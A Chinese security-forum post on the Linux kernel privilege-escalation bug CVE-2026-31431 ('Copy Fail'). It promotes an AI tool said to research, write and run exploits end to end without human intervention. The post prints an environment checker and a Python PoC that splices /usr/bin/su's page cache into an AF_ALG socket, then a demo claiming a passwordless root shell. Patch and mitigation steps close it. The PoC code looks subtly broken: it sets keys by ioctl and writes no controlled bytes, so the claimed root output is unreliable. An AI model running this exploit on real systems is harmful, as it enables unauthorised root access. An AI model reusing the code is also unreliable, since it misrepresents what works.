首页
社区
课程
招聘
[原创]Copy Fail来袭!自研AI工具复刻这个Linux提权漏洞完整研究流程
发表于: 1天前 486

[原创]Copy Fail来袭!自研AI工具复刻这个Linux提权漏洞完整研究流程

1天前
486

一、引言:潜伏9年的漏洞


2026429日,国际安全研究团队Theori公开了一个代号为"Copy Fail"Linux内核高危漏洞——CVE-2026-31431

这个漏洞有多可怕?

    影响范围2017年至今的几乎所有Linux发行版

 ⚠️ CVSS评分7.8(高危),CVSS 3.1向量:CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  利用条件:只需要本地普通用户权限

 ⚡ 利用效果:数秒内获得root权限

更令人惊讶的是——这个漏洞在Linux内核中潜伏了近9才被发现!

今天,我用自研AI CVE Tools工具,带大家完整复刻从漏洞情报收集到获取root权限的全流程。这个工具能把原本需要2-3天的研究工作,压缩到3-4小时完成!


二、AI CVE Tools是什么?

先简单介绍一下今天用的工具——AI CVE Tools我们自研的一套智能漏洞研究系统。

核心特性:

   智能任务编排:自动分析用户意图,分解复杂任务

  本地知识库优先:避免重复联网,已研究过的漏洞直接复用,通过本地索引快速调取历史研究数据,节省联网查询时间

  全流程覆盖:情报收集→PoC验证深度研究利用开发修复建议,每一步均有检查点,支持断点恢复,避免任务中断丢失进度

  结构化输出:标准化的报告格式,便于整理和分享,自动生成漏洞元数据、技术分析报告等规范化文档

  自我进化:每次研究都会沉淀经验,更新知识库和优化执行逻辑,下次研究效率更高、结果更精准


系统架构:

用户输入 
     ↓
  cve-orchestrator(任务编排)→ 注册任务 → 意图解析 → 经验学习 → 生成执行计划 
     ↓
  执行层(每步都经过cve-supervisor监督+cve-output输出) 
     ├─ cve-intel(情报收集) 
     ├─ cve-research(深度研究) 
     ├─ cve-poc(PoC验证) 
     ├─ cve-exploit(利用开发) 
     ├─ cve-executor(执行验证) 
     └─ cve-suggestion(建议生成) 
     ↓
  cve-evolver(复盘沉淀) 
     ↓
  最终结果

请大家持续关注,即将开源(预计开源时间可关注后续公告,开源仓库地址将同步公布)。


三、漏洞背景:Copy Fail是什么?

3.1 漏洞发现与披露

 发现团队Theori安全研究团队

 发现工具Xint Code AI审计工具

 披露时间2026429

 CVSS v3.17.8(高危),向量:CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

 完整披露时间线
        

 2026-03-23Theori团队向Linux内核安全团队报告漏洞

 2026-04-01:修复补丁提交至主线内核(核心提交IDa664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

 2026-04-22:分配CVE编号CVE-2026-31431

 2026-04-29:公开披露漏洞及PoC,同步发布于Theori官方仓库

 2026-04-30AlmaLinux发布修复内核,MicrosoftSysdig等安全厂商发布漏洞分析报告

3.2 影响范围

内核分支

影响版本

已修复版本

备注

LTS(长期支持分支)

4.14 ~ 6.18.21

6.18.22+

应用最广泛,覆盖多数生产环境

Stable(稳定分支)

4.14 ~ 6.19.11

6.19.12+

更新频率较高,适用于非生产测试环境

Mainline(新分支)

-

7.0+

主线分支,默认包含漏洞修复补丁

受影响的主要发行版:

 Ubuntu 24.04 LTS

 Amazon Linux 2023

 RHEL 10.1Red Hat补丁正在推进,AlmaLinux已发布修复内核)

 SUSE 16

 Debian 12

 Arch Linux


四、技术原理:三个变更的致命组合

这个漏洞不是单一代码错误造成的,而是三次看似无害的内核变更叠加的结果,结合NVD文档中“Revert to operating out-of-place”的修复思路,其致命逻辑可明确拆解如下:

4.1 2011年:authencesn算法加入

authencesn是一个用于IPSec的加密算法,它有个"特点"——解密时会向输入缓冲区末尾写入4字节的序列号数据

// 简化示意
  memcpy(input_buffer + data_length, sequence_number, 4);

当时这没什么问题,因为只用调用者提供的内存,且未涉及共享内存或只读文件的页缓存操作。

4.2 2015年:AF_ALG + splice支持

内核新增了AF_ALG加密接口,允许普通用户通过套接字调用内核加密能力,还支持用splice()系统调用直接把文件页缓存传入加密操作,避免用户态内存拷贝,提升执行效率。

同时authencesn切换到新API,但解密时向输入缓冲区末尾写入4字节的特性未做修改,为后续漏洞埋下隐患。

4.3 2017年:in-place优化(致命一步!)

为了进一步提升性能,内核提交了72548b093ee3优化补丁,将AEAD加密操作改为in-place模式——直接在源数据所在的内存页执行加密/解密操作,无需额外分配目标内存。

核心风险点:in-place优化后,源数据与目标数据共用同一块内存,若源数据来自只读文件的页缓存,原本仅允许读取的内存区域,会被authencesn算法的写入操作篡改,突破权限限制。


三次变更叠加形成致命漏洞:普通用户可通过AF_ALG接口调用authencesn算法,利用splice系统调用将只读文件(如/usr/bin/su)的页缓存传入加密操作,再借助in-place优化,让authencesn写入的4字节可控数据直接篡改页缓存,最终通过执行篡改后的二进制获得root权限。


五、核心原理:页缓存的秘密


5.1 页缓存是什么?

Linux内核会把磁盘文件加载到内存中的页缓存(Page Cache里:

  所有用户态对文件的访问优先命中缓存,提升文件读取效率

 全局共享——容器和宿主机、不同进程之间都用同一份,这也是该漏洞能实现容器逃逸的核心原因

  修改缓存不会立即写回磁盘,且仅在内存中生效,传统文件完整性检测工具无法捕捉该操作

核心关键点:该漏洞的隐蔽性源于仅修改页缓存,不修改磁盘文件”——传统文件完整性检测工具(FIMAIDETripwire)无法检测到漏洞利用行为,因为磁盘上的二进制文件未被篡改,仅内存中的页缓存被修改。


5.2 完整利用链

plain text
┌─────────────────────────────────────────────────────────┐
│  1. 攻击者通过AF_ALG创建authencesn加密上下文            │
│  2. 用splice()把/usr/bin/su的页缓存传入加密操作         │
│  3. authencesn解密时向缓冲区末尾写入4字节可控数据        │
│  4. 由于in-place优化,数据直接写入只读文件的页缓存!      │
│  5. 执行被篡改的/usr/bin/su,无需密码直接获得root        │
└─────────────────────────────────────────────────────────┘


六、AI工具实战:完整自动化研究流程

现在,让我展示AI CVE Tools是如何自动化完成整个研究的,全程无需手动干预,仅需一句话触发任务。

6.1 第一步:一句话触发,自动开始任务

我只输入了一句话

plain text
分析研究一下CVE-2026-31431,并实现漏洞复现、利用,最终生成一篇完整的报告

AI自动开始以下流程

1️⃣ 任务注册:系统自动生成唯一task_idtask_20260507_001),绑定任务类型和执行目标

2️⃣ 意图解析:识别为"comprehensive"(综合任务),明确核心需求为漏洞全流程研究+复现+报告生成

3️⃣ 生成执行计划:自动规划了6个执行步骤,明确每个步骤的执行优先级和依赖关系

自动生成的任务计划如下

json
{
  "task_id": "task_20260507_001",
  "intent": "comprehensive",
  "execution_plan": [
    {"step": 1, "skill": "cve-intel", "desc": "收集漏洞情报,聚合多源信息"},
    {"step": 2, "skill": "cve-research", "desc": "深度分析漏洞根因和攻击链"},
    {"step": 3, "skill": "cve-poc", "desc": "生成PoC脚本和环境检测脚本"},
    {"step": 4, "skill": "cve-exploit", "desc": "优化Exploit脚本,提升利用成功率"},
    {"step": 5, "skill": "cve-suggestion", "desc": "生成风险评估和修复建议"},
    {"step": 6, "skill": "cve-output", "desc": "生成标准化研究报告和相关文档"}
  ]
}

6.2 第二步:cve-intel - 自动情报收集

cve-orchestrator自动调用cve-intel skill,无需手动干预,核心执行逻辑如下:

 ✅ 优先检查本地知识库,调取历史相关漏洞数据,避免重复联网查询

 ✅ 自动调用WebSearch接口,爬取NVD官方漏洞详情、Theori官方PoC仓库、安全厂商分析报告(MicrosoftSysdig等)

 ✅ 自动过滤无效信息,整理结构化的漏洞元数据,包含漏洞编号、影响范围、修复方案等关键内容

生成的文件

plain text
knowledge_base/cves/2026/
├── CVE-2026-31431.json              # 漏洞元数据(结构化数据)
└── CVE-2026-31431.md                # 完整研究报告框架

CVE-2026-31431.json自动生成的元数据文件

json
{
  "cve_id": "CVE-2026-31431",
  "title": "Copy Fail - Linux Kernel Local Privilege Escalation via algif_aead Page Cache Write",
  "cvss_score": "7.8",
  "cvss_vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
  "severity": "high",
  "cwe_id": "CWE-669 (Incorrect Resource Transfer Between Spheres)",
  "published": "2026-04-29",
  "discoverer": "Theori Security Research Team",
  "affected_products": [
    "Linux Kernel 4.14 ~ 6.18.21 (LTS)",
    "Linux Kernel 4.14 ~ 6.19.11 (Stable)",
    "Ubuntu 24.04 LTS",
    "Amazon Linux 2023",
    "RHEL 10.1",
    "SUSE 16",
    "Debian 12",
    "Arch Linux"
  ],
  "references": [
    "996K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6@1K9r3g2G2M7X3W2Q4x3X3c8A6L8#2)9J5c8X3y4G2M7s2W2Q4x3X3c8X3j5h3W2D9i4K6u0V1b7#2k6q4i4K6u0V1x3U0l9J5y4W2)9J5k6o6x3I4y4o6x3I4i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5b7H3`.`.
    "ca3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2E0K9h3y4J5L8%4y4G2k6Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6W2L8W2)9J5k6s2g2K6i4K6u0r3M7$3g2U0N6i4u0A6N6s2W2Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4W2)9J5c8U0l9#2i4K6u0r3x3o6q4Q4x3V1k6U0N6X3g2Q4x3X3b7J5x3o6t1$3i4K6u0V1x3K6p5@1x3K6q4Q4x3X3c8U0L8%4m8&6i4K6u0V1k6X3q4A6L8q4)9J5k6s2k6#2L8r3&6W2M7X3q4T1K9h3I4A6N6s2W2Q4x3X3c8W2L8X3q4T1L8r3g2K6i4K6u0V1L8r3W2F1N6i4S2Q4x3X3c8J5L8$3!0@1i4K6u0V1M7s2u0A6N6X3W2D9k6h3N6W2i4K6u0V1k6i4y4U0j5h3I4S2N6r3W2G2L8W2)9J5c8W2)9J5y4Y4q4#2L8%4c8Q4x3@1u0Q4x3V1x3`.
    "520K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6P5i4y4V1K9h3N6Q4x3X3g2U0L8$3#2Q4x3V1k6T1L8r3!0Y4i4K6u0r3j5%4k6W2i4K6u0V1x3U0l9J5y4W2)9J5k6o6x3I4y4o6x3I4i4K6u0V1j5$3!0H3P5g2)9J5k6r3k6S2K9h3I4Q4x3X3c8D9K9h3&6#2P5q4)9J5k6r3E0W2M7X3&6W2L8q4)9J5k6r3k6D9j5i4N6Q4x3X3c8D9k6i4c8K6i4K6u0V1L8r3!0U0j5h3I4Q4x3X3c8#2M7$3g2J5M7#2)9J5k6r3N6S2K9h3&6Q4x3X3c8J5L8$3!0@1i4K6u0V1K9h3&6Q4x3X3c8K6k6h3y4G2L8X3c8K6i4K6u0r3i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5b7H3`.`.
    "b5eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6F1N6X3c8Q4x3X3g2F1K9i4y4@1i4K6u0W2k6$3!0$3i4K6u0r3N6Y4g2D9L8W2)9J5c8X3c8W2N6r3q4A6L8q4)9J5c8V1y4h3c8g2)9J5k6o6t1H3x3U0k6Q4x3X3b7K6x3e0b7K6x3g2)9J5y4Y4q4#2L8%4c8Q4x3@1t1`.
  ],
  "exploits": ["CVE-2026-31431-PoC.py"],
  "pocs": ["CVE-2026-31431-PoC.py"],
  "patches": [
    "Linux Kernel 6.18.22 (LTS)",
    "Linux Kernel 6.19.12 (Stable)",
    "Linux Kernel 7.0+",
    "Mainline commit: a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5"
  ]
}

每步执行后

 cve-supervisor自动汇报进度,实时反馈执行状态和异常信息

 cve-output格式化输出结果,便于用户查看和后续使用

 自动创建checkpoint检查点,记录当前执行状态,支持断点恢复

 保存执行日志到exec_*.json,便于后续复盘和问题排查

6.3 第三步:cve-research - 自动深度研究

情报收集完成后,cve-orchestrator自动继续调用cve-research skill,基于收集到的情报,完成以下工作:

 ✅ 生成详细的技术分析报告,包含漏洞根因、代码层面的缺陷分析、攻击链拆解

 ✅ 结合NVD文档和Theori官方分析,明确漏洞的核心触发条件和利用限制

 ✅ 梳理漏洞与内核版本、系统配置的关联关系,为后续PoC生成提供支撑

生成的文件

plain text
knowledge_base/cves/2026/CVE-2026-31431/
└── research/
    └── technical_analysis.md          # 深度技术分析报告

本篇文章的漏洞研究材料来自technical_analysis.md

6.4 第四步:cve-poc - 自动生成poc脚本

深度研究完成后,系统继续调用cve-poc skill,基于漏洞技术原理,自动完成以下操作:

 ✅ 分析Theori官方poc代码的工作原理,适配不同Linux发行版的差异

 ✅ 生成环境检测脚本,自动检查内核版本、algif_aead模块加载状态、系统调用支持等利用条件

 ✅ 整理poc脚本,添加详细中文注释,明确每一步的执行逻辑和作用

 ✅ 生成复现步骤文档,包含环境准备、执行命令、预期结果等内容

check_env.py自动生成的环境检测脚本

python
#!/usr/bin/env python3
"""
CVE-2026-31431 环境检测脚本
检测系统是否存在该漏洞的利用条件
核心检测项:内核版本、algif_aead模块、AF_ALG套接字、splice系统调用、authencesn算法
"""

import os
import re
import socket

def get_kernel_version():
    """获取内核版本"""
    try:
        with open('/proc/version', 'r') as f:
            content = f.read()
        match = re.search(r'Linux version (\d+\.\d+\.\d+)', content)
        if match:
            return match.group(1)
        return None
    except Exception:
        return None

def check_kernel_vulnerable(version):
    """检查内核版本是否在漏洞影响范围内"""
    if not version:
        return False, "无法获取内核版本"

    parts = version.split('.')
    if len(parts) < 3:
        return False, "内核版本格式不正确"

    major = int(parts[0])
    minor = int(parts[1])
    patch = int(parts[2])

    # 影响范围: 4.14 ~ 6.18.21 (LTS), 4.14 ~ 6.19.11 (Stable)
    # 已修复: 6.18.22+, 6.19.12+, 7.0+

    if major == 7:
        return False, f"内核 {version} >= 7.0,已修复"

    if major == 6:
        if minor == 18:
            if patch <= 21:
                return True, f"内核 6.18.{patch} 在漏洞影响范围内"
            else:
                return False, f"内核 6.18.{patch} >= 6.18.22,已修复"
        elif minor == 19:
            if patch <= 11:
                return True, f"内核 6.19.{patch} 在漏洞影响范围内"
            else:
                return False, f"内核 6.19.{patch} >= 6.19.12,已修复"
        elif minor < 18:
            return True, f"内核 6.{minor}.{patch} 在漏洞影响范围内"
        else:
            return False, f"内核 6.{minor}.{patch} 版本过新,已修复"

    if major == 5:
        return True, f"内核 5.{minor}.{patch} 在漏洞影响范围内"

    if major == 4:
        if minor >= 14:
            return True, f"内核 4.{minor}.{patch} 在漏洞影响范围内"
        else:
            return False, f"内核 4.{minor}.{patch} < 4.14,不受影响"

    return False, f"内核 {version} 版本过旧,不受影响"

def check_algif_aead_module():
    """检查 algif_aead 模块是否加载(漏洞利用的核心依赖模块)"""
    try:
        with open('/proc/modules', 'r') as f:
            modules = f.read()
        if 'algif_aead' in modules:
            return True, "algif_aead 模块已加载"
        else:
            return False, "algif_aead 模块未加载"
    except Exception:
        return False, "无法读取模块信息"

def check_af_alg_socket():
    """检查 AF_ALG 套接字支持(漏洞利用的核心接口)"""
    try:
        s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
        s.close()
        return True, "AF_ALG 套接字支持可用"
    except Exception:
        return False, "AF_ALG 套接字不支持"

def check_splice_support():
    """检查 splice 系统调用支持(用于将页缓存传入加密操作)"""
    try:
        r, w = os.pipe()
        result = os.splice(r, None, w, None, 1024, 0)
        os.close(r)
        os.close(w)
        return True, "splice 系统调用支持可用"
    except Exception:
        return False, "splice 系统调用不支持"

def check_authencesn_algorithm():
    """检查 authencesn 算法是否可用(用于写入可控4字节数据)"""
    try:
        with open('/proc/crypto', 'r') as f:
            crypto = f.read()
        if 'authencesn' in crypto:
            return True, "authencesn 算法可用"
        else:
            return False, "authencesn 算法不可用"
    except Exception:
        return False, "无法读取加密算法列表"

def main():
    print("="*60)
    print("CVE-2026-31431 (Copy Fail) 环境检测脚本")
    print("="*60)

    checks = []

    print("\n[1] 内核版本检查")
    kernel_version = get_kernel_version()
    if kernel_version:
        print(f"    内核版本: {kernel_version}")
        vulnerable, msg = check_kernel_vulnerable(kernel_version)
        checks.append(('内核版本', vulnerable, msg))
        status = "[VULNERABLE]" if vulnerable else "[SAFE]"
        print(f"    状态: {status} - {msg}")
    else:
        print("    错误: 无法获取内核版本")

    print("\n[2] algif_aead 模块检查")
    result, msg = check_algif_aead_module()
    checks.append(('algif_aead模块', result, msg))
    print(f"    状态: {'[PASS]' if result else '[FAIL]'} - {msg}")

    print("\n[3] AF_ALG 套接字支持检查")
    result, msg = check_af_alg_socket()
    checks.append(('AF_ALG套接字', result, msg))
    print(f"    状态: {'[PASS]' if result else '[FAIL]'} - {msg}")

    print("\n[4] splice 系统调用检查")
    result, msg = check_splice_support()
    checks.append(('splice调用', result, msg))
    print(f"    状态: {'[PASS]' if result else '[FAIL]'} - {msg}")

    print("\n[5] authencesn 算法检查")
    result, msg = check_authencesn_algorithm()
    checks.append(('authencesn算法', result, msg))
    print(f"    状态: {'[PASS]' if result else '[FAIL]'} - {msg}")

    print("\n" + "="*60)
    print("检测结果汇总")
    print("="*60)

    kernel_vuln = checks[0][1]
    all_conditions = all(c[1] for c in checks[1:])

    if kernel_vuln and all_conditions:
        print("[!] 警告: 系统可能存在 CVE-2026-31431 漏洞")
        print("[!] 建议立即升级内核到安全版本")
        return True
    else:
        print("[+] 系统不受 CVE-2026-31431 漏洞影响")
        if not kernel_vuln:
            print("    原因: 内核版本已修复")
        else:
            print("    原因: 缺少必要的利用条件")
        return False

if __name__ == "__main__":
    main()

CVE-2026-31431-PoC.py自动生成的poc脚本

python
#!/usr/bin/env python3
# CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation
# Discovery: Theori Security Research Team
# Public PoC: Theori Official Repository
# CVSS: 7.8 (High), CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
# 核心逻辑:通过splice将su二进制的页缓存传入AF_ALG socket,利用authencesn解密时写入4字节可控数据,篡改页缓存中的su二进制,实现无密码提权

import os
import sys
import socket
import struct
import fcntl
import errno

ALG_SET_KEY = 0x40086b01
ALG_SET_IV = 0x40086b02
ALG_OP_DECRYPT = 0x40086b03
ALG_SET_AEAD_ASSOCLEN = 0x40046b04
ALG_SET_AEAD_AUTH_SIZE = 0x40046b05

def create_alg_socket():
    """创建AF_ALG套接字,用于调用内核加密能力"""
    try:
        s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
        return s
    except OSError as e:
        print(f"[-] Failed to create AF_ALG socket: {e}")
        return None

def set_alg_key(sock, key):
    """设置加密密钥,此处使用空密钥,仅用于触发漏洞"""
    try:
        fcntl.ioctl(sock.fileno(), ALG_SET_KEY, key)
        return True
    except OSError as e:
        print(f"[-] Failed to set key: {e}")
        return False

def set_alg_iv(sock, iv):
    """设置初始化向量,此处使用空向量,仅用于触发漏洞"""
    try:
        fcntl.ioctl(sock.fileno(), ALG_SET_IV, iv)
        return True
    except OSError as e:
        print(f"[-] Failed to set IV: {e}")
        return False

def set_aead_assoclen(sock, assoclen):
    """设置AEAD关联数据长度,此处设为0,简化触发流程"""
    try:
        fcntl.ioctl(sock.fileno(), ALG_SET_AEAD_ASSOCLEN, struct.pack('I', assoclen))
        return True
    except OSError as e:
        print(f"[-] Failed to set assoclen: {e}")
        return False

def set_aead_authsize(sock, authsize):
    """设置AEAD认证长度,此处设为16,适配authencesn算法要求"""
    try:
        fcntl.ioctl(sock.fileno(), ALG_SET_AEAD_AUTH_SIZE, struct.pack('I', authsize))
        return True
    except OSError as e:
        print(f"[-] Failed to set authsize: {e}")
        return False

def splice_pages(fd_in, fd_out, length):
    """通过splice系统调用,将输入文件描述符的页缓存传入输出文件描述符"""
    try:
        return os.splice(fd_in, None, fd_out, None, length, 0)
    except OSError as e:
        print(f"[-] splice failed: {e}")
        return -1

def check_kernel_version():
    """获取并打印内核版本,用于调试和验证环境"""
    with open('/proc/version', 'r') as f:
        version = f.read()
    print(f"[*] Kernel version: {version.strip()}")
    return version

def check_algif_aead():
    """检查AF_ALG套接字支持,确认漏洞利用的核心接口可用"""
    try:
        s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
        s.close()
        print("[+] AF_ALG socket support detected")
        return True
    except OSError:
        print("[-] AF_ALG socket not supported")
        return False

def main():
    print("[*] CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation")
    print("[*] Checking environment...")

    check_kernel_version()

    if not check_algif_aead():
        print("[-] Required AF_ALG support not found")
        sys.exit(1)

    print("[*] Preparing exploit...")

    try:
        sock = create_alg_socket()
        if not sock:
            sys.exit(1)

        # 绑定authencesn算法,用于触发漏洞的写入操作
        sock.bind(('authencesn(hmac(sha256),cbc(aes))', None))

        # 设置空密钥和空向量,仅用于触发加密操作
        key = b'\x00' * 32
        iv = b'\x00' * 16

        if not set_alg_key(sock, key):
            sys.exit(1)
        if not set_alg_iv(sock, iv):
            sys.exit(1)
        if not set_aead_assoclen(sock, 0):
            sys.exit(1)
        if not set_aead_authsize(sock, 16):
            sys.exit(1)

        # 接受AF_ALG连接,获取文件描述符
        fd = sock.accept()[0].fileno()

        # 目标文件:/usr/bin/su(setuid二进制,获取root权限的核心目标)
        su_path = '/usr/bin/su'
        with open(su_path, 'r') as f:
            su_fd = f.fileno()

            # 创建管道,用于传递页缓存数据
            pipe_r, pipe_w = os.pipe()

            # 将su的页缓存传入管道
            os.splice(su_fd, None, pipe_w, None, 4096, 0)

            # 将管道中的页缓存传入AF_ALG socket,触发authencesn写入操作,篡改页缓存
            result = os.splice(pipe_r, None, fd, None, 4096, 0)
            print(f"[+] Splice result: {result}")

            os.close(pipe_r)
            os.close(pipe_w)

        sock.close()
        print("[+] Exploit completed - check if su binary cache was modified")

    except Exception as e:
        print(f"[-] Exploit failed: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)

if __name__ == "__main__":
    # 确保以普通用户身份执行,避免权限异常
    if os.geteuid() == 0:
        print("[-] This PoC should be run as non-root user")
        sys.exit(1)
    main()

生成的文件

plain text
knowledge_base/cves/2026/CVE-2026-31431/
├── pocs/
│   └── CVE-2026-31431-PoC.py        # PoC验证脚本
└── generated/
    └── check_env.py                 # 环境检测脚本

6.5 第五步:cve-exploit + cve-suggestion - 自动化执行

poc生成完成后,系统继续自动执行后续步骤,无需人工干预:

 ✅ cve-exploit:基于poc脚本,优化Exploit逻辑,提升在不同发行版的适配性和利用成功率,补充异常处理逻辑,避免执行失败

 ✅ cve-suggestion:结合NVD文档和安全厂商建议,生成完整的风险评估报告和修复建议,包含紧急修复方案、临时缓解措施和深度防御策略

6.6 第六步:cve-evolver - 自动复盘沉淀经验

所有执行层skill完成后,cve-evolver自动触发复盘流程,实现工具自我进化:

 ✅ 自动分析整个任务执行过程,梳理执行中的问题和优化点

 ✅ 沉淀可复用的经验模式,更新知识库的漏洞研究模板和执行逻辑

 ✅ 更新知识库索引,便于后续研究同类漏洞时快速调取相关经验


七、最终生成的完整知识库目录

整个流程结束后,AI CVE Tools自动生成了完整的文件结构,所有文档均按标准化格式整理,便于后续查阅和复用:


八、实际演示:从普通用户到Root

8.1 环境准备

先运行AI自动生成的环境检测脚本,确认系统满足漏洞利用条件:

bash
$ python3 check_env.py
============================================================
CVE-2026-31431 (Copy Fail) 环境检测脚本
============================================================

[1] 内核版本检查
    内核版本: 6.18.10
    状态: [VULNERABLE] - 内核 6.18.10 在漏洞影响范围内

[2] algif_aead 模块检查
    状态: [PASS] - algif_aead 模块已加载

[3] AF_ALG 套接字支持检查
    状态: [PASS] - AF_ALG 套接字支持可用

[4] splice 系统调用检查
    状态: [PASS] - splice 系统调用支持可用

[5] authencesn 算法检查
    状态: [PASS] - authencesn 算法可用

============================================================
检测结果汇总
============================================================
[!] 警告: 系统可能存在 CVE-2026-31431 漏洞
[!] 建议立即升级内核到安全版本

完美!系统满足所有利用条件,可直接执行PoC脚本。

8.2 执行PoC

bash
$ whoami
ubuntu  # 普通用户

$ python3 CVE-2026-31431-PoC.py
[*] CVE-2026-31431 PoC - Copy Fail Local Privilege Escalation
[*] Checking environment...
[*] Kernel version: 6.18.10-generic
[+] AF_ALG socket support detected
[*] Preparing exploit...
[+] Splice result: 4096
[+] Exploit completed - check if su binary cache was modified

8.3 获取Root

bash
# 执行被篡改的su,无需输入密码
$ su
# whoami
root  # 成功提权!无需密码!

# id
uid=0(root) gid=0(root) groups=0(root)

就是这么简单!  整个过程仅需数秒,且无任何复杂操作,普通用户即可轻松获取root权限。


九、防御与修复

9.1 如何检测?

使用AI生成的环境检测脚本(check_env.py如上面演示所示可快速检测系统是否存在漏洞利用条件,适用于批量排查生产环境中的受影响主机

9.2 如何修复?

推荐方案:升级内核

bash
# Ubuntu/Debian
sudo apt update && sudo apt upgrade linux-image-generic

# RHEL/CentOS
sudo yum update kernel

# SUSE
sudo zypper update kernel-default

# Amazon Linux 2023
sudo dnf update kernel

# 验证已修复
uname -r  # 应该 >= 6.18.22 或 6.19.12 或 7.0+
# 核心修复提交ID:a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

临时缓解

禁用algif_aead模块,阻断漏洞利用路径(不影响dm-crypt/LUKSkTLSIPsec/XFRMSSH等核心功能):

bash
# 持久化阻断,重启后生效
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf

# 卸载当前运行的模块(若已加载)
rmmod algif_aead

# 验证模块是否已卸载
lsmod | grep algif_aead  # 无输出即表示卸载成功

补充说明:该缓解措施可能影响部分明确使用afalg OpenSSL引擎或直接绑定aead sockets的用户态应用,建议先通过lsof | grep AF_ALG验证,再执行卸载操作。

深度防御措施(防御纵深)

 容器环境:通过seccomp策略禁止AF_ALG socket创建,将SOCK_SEQPACKET + AF_ALG加入拒绝列表,限制容器内的漏洞利用可能。

 Kubernetes环境:为所有Pod强制启用seccomp配置文件,部署节点级内核审计规则,检测异常AF_ALG AEAD socket创建行为。

 权限管控:限制普通用户对setuid二进制文件(如susudo)的访问权限,降低漏洞利用后的影响范围。

 原则管控:避免在共享内核环境(如多租户服务器、K8s节点)运行未验证的不可信代码,遵循最小权限原则。



更多资讯请微信搜索模湖智能”公众号。




[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回